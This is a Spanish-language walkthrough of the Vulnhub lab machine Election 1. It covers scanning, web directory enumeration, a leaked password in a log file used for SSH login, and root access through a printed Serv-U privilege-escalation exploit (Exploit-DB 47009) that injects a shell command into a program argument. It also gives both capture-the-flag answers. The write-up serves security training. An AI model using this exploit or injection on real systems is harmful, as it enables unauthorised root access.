Election 1

Walkthrough de la máquina Election 1 de Vulnhub

Election 1

Link a VulnHub

Obteniendo la IP de la máquina víctima

Lo primero que vamos a hacer es tratar de descubrir en qué IP está la máquina víctima. Para ello vamos a usar nmap indicádole que queremos hacer un ping scan (-sn) para toda la red en la que nos encontramos actualmente. Si no estamos como usuario root es recomendable usar sudo para obtener información adicional de los equipos que se encuentren en la red:

sudo nmap -sn 10.0.0.1/24

Resultado relevante:

Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-25 11:18 CET ... Nmap scan report for 10.0.0.102 Host is up (0.00085s latency). MAC Address: 08:00:27:63:A4:A0 (Oracle VirtualBox virtual NIC) ...

Nmap nos indica que la IP de la máquina víctima es la siguiente:

  • 10.0.0.102

En caso de que sea una máquina virtual podemos verificarlo comprobando si las direcciones MAC de las tarjetas de red coinciden.

Lo siguiente que vamos a hacer es agregar la IP de la máquina víctima a nuestro /etc/hosts. De esta manera no necesitaremos recordar la IP y podemos usar el nombre que le pongamos. Editamos el fichero /etc/hosts y agregamos la siguiente línea al final del mismo:

10.0.0.102 election1.ctf

Ahora si hacemos un ping election1.ctf -c 1 deberíamos obtener la siguiente respuesta:

PING election1.ctf (10.0.0.102) 56(84) bytes of data. 64 bytes from election1.ctf (10.0.0.102): icmp_seq=1 ttl=64 time=0.909 ms --- election1.ctf ping statistics --- 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 0.909/0.909/0.909/0.000 ms

Esto nos confirma que resuelve correctamente el hostname que le hemos asignado.

Escaneo de puertos

Una vez que tenemos la IP de la máquina víctima, lo que vamos a hacer es tratar de detectar los puertos que tiene abiertos. Para ello vamos a lanzar otro escaneo con nmap contra todo el rango de puertos (-p-) usando la plantilla de temporizado más rápida (-T5), filtrando por los puertos abiertos (--open), y deshabilitando la resolución de DNS (-n) y el descubrimiento de hosts (-Pn):

nmap -p- -T5 --open -Pn -n election1.ctf

Resultado:

Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-10 10:42 CEST Nmap scan report for election1.ctf (10.0.0.102) Host is up (0.00013s latency). Not shown: 65533 closed tcp ports (conn-refused) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http Nmap done: 1 IP address (1 host up) scanned in 0.97 seconds

De este escaneo obtenemos que los siguientes puertos están abiertos: 22 (SSH) y 80 (HTTP). Sabiendo que estos puertos están abiertos, lo siguiente que vamos a hacer es tratar de detectar qué servicios se están exponiendo y las versiones de los mismos (-sCV):

nmap -p 22,80 -sCV election1.ctf

Resultado:

Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-10 10:43 CEST Nmap scan report for election1.ctf (10.0.0.102) Host is up (0.00042s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 20d1ed84cc68a5a786f0dab8923fd967 (RSA) | 256 7889b3a2751276922af98d27c108a7b9 (ECDSA) |_ 256 b8f4d661cf1690c5071899b07c70fdc0 (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: Apache2 Ubuntu Default Page: It works Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 6.60 seconds

Del resultado del escaneo más detallado obtenemos lo siguiente:

  • 22/tcp: SSH - OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
  • 80/tcp: HTTP - Apache httpd 2.4.29 ((Ubuntu))

Analizando el servicio HTTP (80/TCP)

Ya que tenemos expuesto un servicio HTTP por el puerto 80, lo que vamos a hacer es tratar de ver qué se está exponiendo en ese puerto accediendo a la url http://election1.ctf en el navegador.

Al acceder vemos la página por defecto de Apache, lo que confima lo que ya nos había indicado nmap. Como en http://election1.ctf no encontramos nada interesante, vamos a hacer un ataque de fuerza bruta para descubrir más rutas y archivos.

Para relizar este ataque vamos a usar Gobuster indicándole que queremos listar directorios (dir) contra la IP de la máquina víctima (-u), usando extensiones adicionales (-x), usando un diccionario orientado a listado de directorios (-w), y limitando el número de hilos a 3 (-t):

gobuster dir -u http://election1.ctf -x html,txt,php -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 3

Resultado:

=============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://election1.ctf [+] Method: GET [+] Threads: 3 [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.1.0 [+] Extensions: html,txt,php [+] Timeout: 10s =============================================================== 2023/04/10 10:50:20 Starting gobuster in directory enumeration mode =============================================================== /index.html (Status: 200) [Size: 10918] /javascript (Status: 301) [Size: 319] [--> http://election1.ctf/javascript/] /robots.txt (Status: 200) [Size: 30] /election (Status: 301) [Size: 317] [--> http://election1.ctf/election/] /phpmyadmin (Status: 301) [Size: 319] [--> http://election1.ctf/phpmyadmin/] /phpinfo.php (Status: 200) [Size: 95409] /server-status (Status: 403) [Size: 278] =============================================================== 2023/04/10 10:51:32 Finished ===============================================================

Del escaneo obtenemos que existen varias rutas que pueden ser interesantes:

  • /javascript: que nos redirige a /javascript/, donde no tenemos acceso. Podría haber más recursos dentro de este directorio.
  • /robots.txt: que nos puede dar informción de más recursos existentes
  • /election: que nos redirige a /election/, que es una página que podemos analizar
  • /phpmyadmin: que nos redirige a /phpmyadmin/, que es un portal de autenticación
  • /phpinfo.php: que contiene información acerca el servidor Apache
  • /server-status: al cual no tenemos acceso

Analizando /election/

Como hemos podido ver anteriormente, tenemos una página en http://election1.ctf/election/. Vamos a ver si somos capaces de listar más recursos dentro usando dirb. Pare ello ejecutamos:

dirb http://election1.ctf/election/

Resultado relevante:

----------------- DIRB v2.22 By The Dark Raver ----------------- START_TIME: Mon Apr 10 11:07:07 2023 URL_BASE: http://election1.ctf/election/ WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt ----------------- GENERATED WORDS: 4612 ---- Scanning URL: http://election1.ctf/election/ ---- ==> DIRECTORY: http://election1.ctf/election/admin/ ==> DIRECTORY: http://election1.ctf/election/data/ + http://election1.ctf/election/index.php (CODE:200|SIZE:7003) ==> DIRECTORY: http://election1.ctf/election/js/ ==> DIRECTORY: http://election1.ctf/election/languages/ ==> DIRECTORY: http://election1.ctf/election/lib/ ==> DIRECTORY: http://election1.ctf/election/media/ ==> DIRECTORY: http://election1.ctf/election/themes/ ---- Entering directory: http://election1.ctf/election/admin/ ---- ==> DIRECTORY: http://election1.ctf/election/admin/ajax/ ==> DIRECTORY: http://election1.ctf/election/admin/components/ ==> DIRECTORY: http://election1.ctf/election/admin/css/ ==> DIRECTORY: http://election1.ctf/election/admin/img/ ==> DIRECTORY: http://election1.ctf/election/admin/inc/ + http://election1.ctf/election/admin/index.php (CODE:200|SIZE:8964) ==> DIRECTORY: http://election1.ctf/election/admin/js/ ==> DIRECTORY: http://election1.ctf/election/admin/logs/ ==> DIRECTORY: http://election1.ctf/election/admin/plugins/ ...

Dentro de todos los recursos que ha detectado, encontramos el directorio /election/admin/logs/, en el cual tenemos capacidad de directory listing. Dentro de ese directorio encontramos el fichero system.log, el cual, si lo descargamos, vemos que tiene el siguiente contenido:

[2020-01-01 00:00:00] Assigned Password for the user love: P@$$w0rd@123 [2020-04-03 00:13:53] Love added candidate 'Love'. [2020-04-08 19:26:34] Love has been logged in from Unknown IP on Firefox (Linux).

De aquí obtenemos un usuario y contraseña, el cual podremos probar en las diferentes formas de login de la máquina víctima:

  • love: P@$$w0rd@123

Ganando acceso a la máquina víctima

Si probamos las credenciales obtenidas anteriormente, podemos comprobar que son válidas para conectarnos a la máquina víctima mediante SSH:

ssh love@election1.ctf love@election1.ctf's password: P@$$w0rd@123

Resultado:

Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 5.3.0-46-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage * Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s just raised the bar for easy, resilient and secure K8s cluster deployment. https://ubuntu.com/engage/secure-kubernetes-at-the-edge * Canonical Livepatch is available for installation. - Reduce system reboots and improve kernel security. Activate at: https://ubuntu.com/livepatch 74 packages can be updated. 28 updates are security updates. New release '20.04.6 LTS' available. Run 'do-release-upgrade' to upgrade to it. Your Hardware Enablement Stack (HWE) is supported until April 2023. Last login: Thu Apr 9 23:19:28 2020 from 192.168.1.5

Como hemos podido comprobar, con esto ya hemos conseguido acceso a la máquina víctima.

Si investigamos la home del usuario love (/home/love) no tardamos mucho en encontrar la primera flag (/home/love/Desktop/user.txt): cd38ac698c0d793a5236d01003f692b0.

Escalada de privilegios

Si comprobamos si tenemos permisos de sudoer con sudo -l vemos que no tenemos ninguno, así que vamos a tratar de buscar ejecutables con privilegios SUID. Para buscarlos usamos el comando find:

find / -perm -4000 2>/dev/null

Resultado relevante:

/usr/bin/arping /usr/bin/passwd /usr/bin/pkexec /usr/bin/traceroute6.iputils /usr/bin/newgrp /usr/bin/chsh /usr/bin/chfn /usr/bin/gpasswd /usr/bin/sudo /usr/sbin/pppd /usr/local/Serv-U/Serv-U /usr/lib/policykit-1/polkit-agent-helper-1 /usr/lib/eject/dmcrypt-get-device ...

Ignorando que entre los binarios se encuentra el binario pkexec, que sabemos que se puede usar para escalar privilegios usando PwnKit, vemos que existe otro binario interesante que se llama Serv-U. Si buscamos qué es encontramos que es un servidor FTP. Si comprobamos si tiene alguna vulnerabilidad encontramos que existe una que permite una escalada de privilegios (Exploit Database - exploit - 47009).

Para ejecutar el exploit copiamos el código del exploit en exploit.c:

#include <stdio.h> #include <unistd.h> #include <errno.h> int main() { char *vuln_args[] = {"\" ; id; echo 'opening root shell' ; /bin/sh; \"", "-prepareinstallation", NULL}; int ret_val = execv("/usr/local/Serv-U/Serv-U", vuln_args); // if execv is successful, we won't reach here printf("ret val: %d errno: %d\n", ret_val, errno); return errno; }

Lo compilamos con gcc y lo ejecutamos:

gcc exploit.c -o exploit ./exploit

Resultado:

uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),30(dip),33(www-data),46(plugdev),116(lpadmin),126(sambashare),1000(love) opening root shell #

Como podemos comprobar ya tenemos acceso como el usuario root.

Una vez hemos ganado acceso como root podemos ver la segunda flag (/root/root.txt): 5238feefc4ffe09645d97e9ee49bc3a6